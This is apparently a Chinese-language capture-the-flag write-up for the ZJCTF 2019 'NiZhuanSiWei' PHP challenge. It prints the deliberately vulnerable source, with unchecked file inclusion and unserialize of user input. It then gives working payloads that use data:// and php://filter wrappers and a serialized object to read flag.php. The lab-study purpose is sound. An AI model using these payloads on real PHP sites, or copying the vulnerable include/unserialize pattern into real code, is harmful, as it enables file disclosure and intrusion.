ZJCTF 2019-NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
首先代码审计一下
1、$text === "welcome to the zjctf"
2、$file 不能匹配到flag,可以文件包含
3、$password 进行反序列化
一步一步来绕过
1、 $text可以用 data://text/plain 写入文件
payload
?text=data://text/plain,welcome to the zjctf
2、 $file文件包含,先利用php伪协议看看useless.php的源码
payload
?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/convert.base64-encode/resource=useless.php

base64 解码得到 useless.php 源码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
3、 $password可以利用 useless.php 反序列化,设置 file 为flag.php,然后就可以被 file_get_contents(this->file);读出来
payload
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
综合起来就是这个,在仔细体会一下
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

本文详细分析了一段PHP代码,涉及字符串验证、文件包含及序列化操作。通过构造特定payload,成功绕过了代码限制,获取了useless.php的内容,并利用其反序列化特性读取了flag.php。此过程揭示了PHP安全中的常见漏洞与防护策略。
617

被折叠的 条评论
为什么被折叠?



